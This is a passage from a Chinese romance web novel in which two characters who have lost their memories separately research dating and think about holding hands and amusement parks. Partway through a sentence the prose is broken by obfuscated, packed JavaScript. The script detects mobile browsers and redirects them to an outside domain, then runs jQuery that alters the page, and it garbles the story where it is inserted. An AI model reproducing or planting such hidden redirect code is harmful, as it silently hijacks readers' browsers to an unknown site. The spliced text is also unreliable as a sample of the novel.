不管是做梦,还是这次回忆,一张脸都没看清,而谈话的内容在睁眼后勉强能记得住,但音色就像漏斗一样,在脑子里过一遍就漏个干净,根本抓不住。 要是能记下嗓音,还能判断一下是不是如今认识的人说的话。 也不知道是不是现在除了爸妈他就只重新认识了祁言,夏时总忍不住把马赛克同学往祁言身上代。 然后再此发现……还真挺合适。 祁言怎么可能是混蛋玩意儿,夏时态度立刻三百六十度大转变,完全忘了回忆里最初自己貌似在跟人抬杠的情绪,还有理有据分析,你看,他最后几句话的内容就是向着我的,不仅替他解围,还说最了解他。 明明还不确定对方到底是不是祁言,夏时已经给人打上了“好人”的标签,并为自己把他跟何小鸣放在一起而感到抱歉。 何小鸣什么货色,他也配? 夏时双标得非常彻底。 他过了不适的劲儿,重新在笔记本上写关键词,写下“游乐园”,又在后面跟上了记忆里的过山车、蹦极,以及网友的有效词汇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519513|186262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——牵手。 夏时好像在最后一笔的时候才意识到自己写的是什么,笔尖力道一重,差点在纸上划拉出去。 牵、咳,牵手,可他跟祁言还不是情侣,牵手不太合适吧,但是试着谈恋爱不就是看对彼此有没有感觉吗,牵手也是实验的一环…… 不不,也不对吧,按照这个说法,那接吻不也该是?! 冷静! 夏时脸一热,告诉自己不要想太多,八字还没一撇呢自己是不是跳跃得太快了,虽然他们以前可能什么都做过了,但以前是以前,现在是现在。 就……等相处一段时间,要是有好感而且氛围不错,最多先试试能不能牵手,嗯,夏时拿本子挡住半张脸,只露出一双桃花眼,眼神闪烁无处安放。 世间网友亿万,总有那么个有缘人会跟你在相同的时间浏览相同的内容,比如说某位祁姓网友,就刚好和夏时看到了同样的东西。 没错,祁言也在自己书房开着电脑,从零开始学怎么谈恋爱。 他鼻梁上架了个金丝眼镜,没度数,就是挡挡光,细长精致的镜腿搭在他耳边,把面部轮廓的凌厉藏起一点儿,显得非常斯文败类,人模狗样,像是随时能勾走少年初心的高手。 然而高手本人只有一段被遗忘的感情史,正在尝试重新链接。 “牵手啊……” 祁言想到了夏时洁白修长的手指,和令人爱不释手的温度,至今为止他们只是握手的时候短暂碰一碰,如果能牵着走一段路都不松开…… 网友的提议真的很让人心动。 不过太唐突了也不合适,得一步步来,牵手得看时机,至于游乐园,夏时喜欢游乐园吗? 祁言对游乐园没什么特别兴趣,别人要是想去他也可以陪,他也什么都敢玩,包括过山车和蹦极等,他不喜欢也不讨厌,上次去还是高中,他好像为了照顾同学,陪着坐了三趟过山车。 哪位、或者说哪几位同学这么虎的,三趟还玩不腻,也是个狠人。 里面不会有夏时吧? 要是里面真有夏时……那就狠得很有水平,狠得很有格调,狠得非常有魅力。 祁言丝毫不觉得自己双标。 夏时对他来说是特殊的,不是他在失忆后催眠自己,而是真心这么认为,并且越是相处,越验证了这句话的正确性。 如果他们从前一起去过游乐园,肯定玩得很愉快吧,祁言把游乐园纳入了备选行列,去老地方找回一下记忆也不错。 夏时要是爱玩过山车,他陪着玩几趟都行,还有别的项目…… 祁言一顿,忽然发现了一个盲点。 他的记忆里,没有坐过摩天轮的画面。 一次也没有。 摩天轮的爱情故事虽然是编的,但两个小情侣去了游乐园,可能还是多次同行,会真的一次摩天轮也不坐吗? 以祁言自己的风格,秉持着来都来了的心态,哪怕不信,也会去尝尝咸淡,玩点浪漫。 那为什么他跟夏时没有去过呢? 祁言眼前的镜片上映着屏幕上的微光,稍微一晃,就显得捉摸不定,像是某种肉眼看不清,但确实存在的信号,无声无息铺在薄薄的玻璃片上。 祁言从鼠标上松开手,他垂眸看了看骨节分明的手指,现在能顺着手想起的,不是夏时主动朝自己伸手,就是在惊惧的夜里自己揉过夏时指尖的模样。 ……可能根本没什么问题,是自己爱多想的毛病又犯了吧。 夏时很好,父母也非常认可他们曾经的感情,能有什么大问题? 祁言反省,祁言释然,很快把疑惑按下,视而不见,继续畅游在爱情知识的海洋。 正式约会正朝他招手呢,他可得交一个让自己和夏时都满意的答卷。